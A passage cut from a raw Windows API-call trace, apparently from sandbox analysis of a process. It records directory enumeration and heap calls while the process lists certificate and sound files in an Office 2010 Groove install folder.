lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.516] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0201.516] GetProcessHeap () returned 0x550000 [0201.516] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0201.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Components\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0201.619] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d2c00d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.619] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0201.619] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x2de, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedComponents.cer", cAlternateFileName="SIGNED~1.CER")) returned 0 [0201.619] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0201.620] GetProcessHeap () returned 0x550000 [0201.620] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0201.620] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ManagedObjects", cAlternateFileName="MANAGE~1")) returned 1 [0201.620] GetProcessHeap () returned 0x550000 [0201.620] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0201.620] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\ManagedObjects\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0201.702] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a95a430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.702] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 1 [0201.702] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6bcf1000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6bcf1000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x290, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignedManagedObjects.cer", cAlternateFileName="SIGNED~1.CER")) returned 0 [0201.702] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0201.703] GetProcessHeap () returned 0x550000 [0201.703] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0201.703] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 1 [0201.703] GetProcessHeap () returned 0x550000 [0201.703] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0201.703] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\groove.net\\Servers\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0201.703] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.703] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x582abeb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Management.cer", cAlternateFileName="MANAGE~1.CER")) returned 1 [0201.704] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 1 [0201.704] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3de, dwReserved0=0x0, dwReserved1=0x0, cFileName="RELAY.CER", cAlternateFileName="")) returned 0 [0201.704] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0201.704] GetProcessHeap () returned 0x550000 [0201.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0201.704] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x582abeb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d169470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d169470, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Servers", cAlternateFileName="")) returned 0 [0201.704] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0201.704] GetProcessHeap () returned 0x550000 [0201.704] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0201.704] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 1 [0201.704] GetProcessHeap () returned 0x550000 [0201.704] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.704] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0201.721] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.721] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 1 [0201.721] GetProcessHeap () returned 0x550000 [0201.721] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26210b0 [0201.721] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Certificates\\Verisign\\Components\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639908 [0201.725] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.725] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Code_Signing_2001-4_CA.cer", cAlternateFileName="VERISI~1.CER")) returned 1 [0201.725] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x706f8370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x240, dwReserved0=0x0, dwReserved1=0x0, cFileName="VeriSign_Class_3_Public_Primary_CA.cer", cAlternateFileName="VERISI~2.CER")) returned 1 [0201.725] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 1 [0201.725] FindNextFileW (in: hFindFile=0x639908, lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38b, dwReserved0=0x0, dwReserved1=0x0, cFileName="VS_ComponentSigningIntermediate.cer", cAlternateFileName="VS_COM~1.CER")) returned 0 [0201.725] FindClose (in: hFindFile=0x639908 | out: hFindFile=0x639908) returned 1 [0201.727] GetProcessHeap () returned 0x550000 [0201.727] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26210b0 | out: hHeap=0x550000) returned 1 [0201.727] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x70744630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x70744630, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Components", cAlternateFileName="COMPON~1")) returned 0 [0201.727] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0201.727] GetProcessHeap () returned 0x550000 [0201.727] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26110a8 | out: hHeap=0x550000) returned 1 [0201.727] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5e490770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5e490770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5e490770, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verisign", cAlternateFileName="")) returned 0 [0201.727] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0201.727] GetProcessHeap () returned 0x550000 [0201.727] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0201.727] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sounds", cAlternateFileName="")) returned 1 [0201.727] GetProcessHeap () returned 0x550000 [0201.728] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0201.728] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0201.729] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51b925d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x52a72f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.729] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="People", cAlternateFileName="")) returned 1 [0201.729] GetProcessHeap () returned 0x550000 [0201.729] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26110a8 [0201.729] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\People\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0201.820] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x52a72f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x708e7550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0201.820] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604d91d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x6bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="COUGH.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x52a72f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x7860, dwReserved0=0x0, dwReserved1=0x0, cFileName="GIGGLE.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x38ea, dwReserved0=0x0, dwReserved1=0x0, cFileName="HICCUP.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x58adaa50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MMHMM.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a9f29b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x9c84, dwReserved0=0x0, dwReserved1=0x0, cFileName="SNEEZE.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d003d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d003d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x8d36, dwReserved0=0x0, dwReserved1=0x0, cFileName="THROAT.WAV", cAlternateFileName="")) returned 1 [0201.821] FindNextFileW (in: hFindFile=0x6398c8, lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x20, 